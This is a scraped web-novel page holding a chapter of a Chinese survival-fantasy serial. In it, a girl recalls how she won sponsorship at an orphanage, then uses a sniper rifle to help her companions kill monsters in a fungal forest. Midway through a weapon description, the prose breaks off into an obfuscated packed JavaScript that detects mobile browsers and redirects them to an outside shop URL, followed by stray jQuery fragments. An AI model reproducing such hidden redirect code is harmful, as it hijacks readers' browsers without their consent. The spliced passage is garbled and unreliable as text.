默认冷灰
24号文字
方正启体

13. 冰狱狩猎(九)

作者:闻歌起舞本书字数:K更新时间:
    记忆里那年冬天,雪也是那么大。


    孤儿院旧楼的走廊里永远弥漫着消毒水和陈旧霉味。鹤爻被套上一件装饰精美的棉衣,但寒风还是从脚底那双没有穿袜子的单鞋里透进来,让她忍不住瑟瑟发抖。


    院子里传来不同于往常的动静。


    一辆半旧的小轿车开了进来,几个穿着体面、带着文件和礼物的人被院长引着参观。


    这是每年一度的“爱心人士”来访日,孩子们被要求穿戴整齐,尽管所谓的整齐也很有限。


    她们会乖巧地表演节目,或者回答一些关于“梦想”的问题,以期被某个目光选中,获得长期资助。


    鹤爻也是其中一个。


    一个月前,院长就开始为这件事忙碌,老师们也是严阵以待,整个孤儿院的空气里都弥漫着紧张的情绪。


    她们被一遍遍排练问好、微笑、回答的标准话术,背诵着“我的梦想是成为科学家,将来想回报社会”此类的话。


    鹤爻也希望被资助,但是对于当时十二岁的自己来说,这种希望非常渺茫。


    她太普通了。


    十岁才被丢在门口,来历不明,沉默寡言。长期的营养不良和反复的咳嗽,让她脸上总挂着两团消不掉的病态红晕,在一群努力展现健康活泼的孩子里,显得扎眼又不祥。


    更糟的是,她身上有种过早的木讷,眼神常常空茫地落在某处,反应慢半拍,也不会说漂亮话,甚至不会在适当的时候挤出笑容。


    有护工私下嘀咕,说她“脑子可能不太灵光”,而且“看着就病恹恹的,能不能活过这个冬天都难说”。


    鹤爻笨拙,又不讨喜。


    这个共识很快在大人中传开,因此她经常受到忽视。


    比如统一发新衣时,总会到她的时候发完了,要等下一次。或者洗棉袜时,护工会因为粗心洗丢一只,所以她常年身上都是同一件不合身的、洗得发硬变薄的旧毛衣,脚上的袜子永远不同色。


    尤其是冬天更是难熬,手和脚常年生着冻疮,脚后各处磨出了血洞,冷空气像小针一样扎着皮肤,她会在晚上咳的厉害,仿佛要把肺腑都掏空,那个时候鹤爻常常想,或许真的如大人们预料的,她撑不过冬天了。


    孩子们对大人总是有样学样,一次两次三次,次数多了,她们便知道一个道理——鹤爻是可以欺负的。


    她们会藏起她的鞋子,然后三五成群的笑着看她光脚走在冰冷的地砖上,会不小心把冷水泼在她的被褥上,然后捂住嘴离开,会几个人一起将她围堵在厕所里,拳打脚踢,诅咒辱骂。


    她没有朋友,唯一算的上慰藉的,是孤儿院的藏书角有很多书,虽然是被撕破亦或者被涂鸦过的旧书,但鹤爻依旧看得津津有味,她最喜欢是其中一本竞赛奥数,常常一看就是一下午。


    这能让她短暂忘掉孤独和痛苦。


    访客们进来了,带着外面寒冷清新的空气,和一种与孤儿院格格不入的从容气度。


    院长脸上堆着练习过无数遍的热情笑容,声音都提高了八度。孩子们开始表演排练好的节目,唱歌,跳舞,朗诵,鹤爻低着头,手指无意识地抠着外套上一处快要脱落的线头。


    线头很硬,硌着指甲缝,有点疼,但这点真实的疼痛,反而让她从眼前虚幻的热闹中感到一丝安心。


    然后,是问答环节。


    访客们温和地提问,被点名的孩子立刻挺直腰板,用清脆流利的声音背诵出标准答案。“我想当老师,教书育人!”“我想当医生,救死扶伤!”


    每一个字都像抛光的鹅卵石,圆润、正确,在空气中碰撞出令人满意的声响。


    鹤爻也被抽中了,她模板化的将反复背诵润色过的话读出来,然后在院长难得的笑脸里被允许坐下。


    鹤爻把头埋得更低,其实她没有什么梦想,她只想知道明天早上有没有热一点的粥,晚上咳嗽能不能轻一点,想着不要再睡冰被褥,以及,院子里那棵光秃秃的树,春天来了是不是真的会发芽。


    可这些回答太蠢了,她知道不能说,也不被允许说。


    就在问答接近尾声,访客们的目光开始变得例行公事般扫视时,然后一个女人站了出来。


    “我叫周继红,是三十一中的老师,也是这一次联校资助的牵头人。”


    那是位三十岁出头的访客,穿着深色大衣、脖颈间系着素色丝巾,语气亲和,声音利落。


    “我这有一道数学题,你们有谁可以答出来吗?”


    刷刷的粉笔声响起,孩子们一头雾水,负责领队的老师冷汗涔涔,校长的脸色也铁青。


    这并不在彩排范围。


    题目很快写好,很简单的一道题,鹤爻一眼就看出了答案,但是教室里鸦雀无声。


    “没有人会吗?”周继红的目光在人群里扫视,又问了一遍。


    依旧没有人站起来。


    校长有些陪笑道:“周主任,你看这题涉及到排列组合,是高中知识点了,孩子们……”


    “有人举手了!”


    “谁啊谁啊?”


    “是鹤爻?!”


    鹤爻没有上台,就这样孤零零的站在原地报出了答案,周围人一片寂静,然后周继红赞许的让她坐下。


    受资助的一共十三个人,鹤爻是其中一个。


    她们会被统一安排在县八中上课,初中到高中的所有学杂费全免,如果考上重点大学,资助中心还会给她们额外一笔的奖励。


    校长感激涕零,孩子们脸上露出异样的光彩,在临别之时,周继红问了她一个问题。


    “你的梦想是什么?”


    这个问题,刚才她问过,自己也回答过,鹤爻不知其意,只能将背诵的内容原封不动的又说了一遍。


    对方似乎有点失望:“这是别人想象你的样子,别人强加的永远不是真实的你,你自己呢?”


    “你有没有自己想象的样子?”


    鹤爻思忖很久,久到周继红以为她不会再回答准备离去。


    “周老师,我有。”


    “我想活下去。”


    “然后,出人头地。”


    ……………………


    十二岁那年的回答,穿过时间的风雪,在此刻孢子林冰冷黏腻的空气里,骤然变得滚烫而具体。


    鹤爻趴在树上,巨大灌木遮挡下,她心念如电。


    下一秒,手里出现了一把冰冷沉重的狙击步枪,通体哑光黑,枪管厚重又坚固,机匣上方搭载着一个4倍率的白光瞄准镜。


    漆黑的洞口对准了树下嘶吼着的人形怪物。


    【高压缩型狙击气.步.枪】:采用高效消音器和特殊气


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016576|194206||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    体释放阀设计,高度静音且初速极快,在200米内拥有媲美甚至超越传统小口径步枪的精度。


    【精致弹头】:特制高密度合金尖弹头,除精准穿透之外,还有震爆与破甲效果。


    手动上膛,食指弯曲。


    “咚——!”


    第一枪的后坐力狠狠砸在鹤爻的肩窝,震得她半边身子发麻,虎口传来撕裂般的痛楚,金属弹匣蹦飞出去的同时,弹头呼啸着而去。


    擦着怪人模糊扭曲的侧影,没入后方一株荧光肉菌,肉菌“噗”地炸开一团粘稠的浆液,发出腐蚀般的“滋滋”声。


    打偏了。


    “该死!”


    鹤爻迅速上膛,树下形势已十分危急。


    齐琪的尖叫带着崩溃的哭腔震荡在密林里,手枪子弹毫无章法地倾泻,在雪地和菌干上留下凌乱的弹孔,却连怪物的边都擦不着,眼看着怪物越来越近。


    刘宇浩红着眼,狂吼着挥动合金匕首,却被怪物从侧面撞开,踉跄着摔进厚厚的菌毯,匕首脱手飞出,他挣扎着想爬起来,而怪物就在他身侧。


    周继红的情况也不容乐观,她被三个中最为高大的怪物扑倒在雪地里,金属长矛横在那怪物的利齿间,发出令人牙酸的嘎吱声,正被一点点压弯。


    她脸色惨白,额上青筋暴起,嘴唇紧抿,将所有力气都灌注在双臂,却依然被那非人的怪力压得寸寸下陷,后背几乎要陷进冰冷的雪泥里。


    鹤爻深呼一口气,再次扣动扳机。


    “砰———”


    一声沉闷的贯穿声响起。


    鹤爻原本标准的是怪物眉心,但第二发依旧偏离了弹道,朝着高大怪物的左肩头射去,特制弹头蕴含的“震爆”效果瞬间触发。


    “噗嗤”一声。


    “不愧是物资箱里的特殊武器,可比商店兑换的合金匕首强多了!”鹤爻暗叹。


    只见,怪物整个左肩胛骨连同连接的锁骨被爆破,黑红色的血浆连同腐肉呈辐射状喷射而出,左臂摇摇欲坠,仅靠一点残存的皮肉和筋膜挂在身侧,像个坏掉的玩偶部件般晃荡。


    虽然没有疼痛感,但惯性让怪物的身体往身侧偏移了一下,也就是这不足一厘米的破绽,「近身格斗」的天赋让周继红如本能般抓住了机会。


    被压得弯曲的脊背和双臂爆发出最后的力量,往上狠狠一顶。


    重心失衡的怪物被掀翻在地,周继红飞快起身,而后以被压住的长矛为支点,全身劲道拧成一股,猛地向侧下方发力。


    重重一刺!


    金属长矛穿透脖颈,带着一溜污血,深深钉进了下方冻土。


    那怪物仅剩的右臂在空中胡乱抓挠了几下,最终无力地垂下。


    几乎同时,不远处的菌林里,又是两声枪响。


    “砰!砰!”


    “噗嗤——”


    “噗嗤——”


    第一枪,从压着刘宇浩的怪物的后脑穿过,怪物的前额像一个熟透的浆果,猛地炸开!


    无头的躯干保持着前扑的惯性,又踉跄了两步,才沉重地栽倒在离刘宇浩脚尖不到半米的地方。


    第二枪精准穿入另一个的眉心。


    怪物的脑袋炸开,黑红与灰白混合的秽物喷的到处都是。


    林地寂寂,只有劫后余生的呼吸声此起彼伏。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)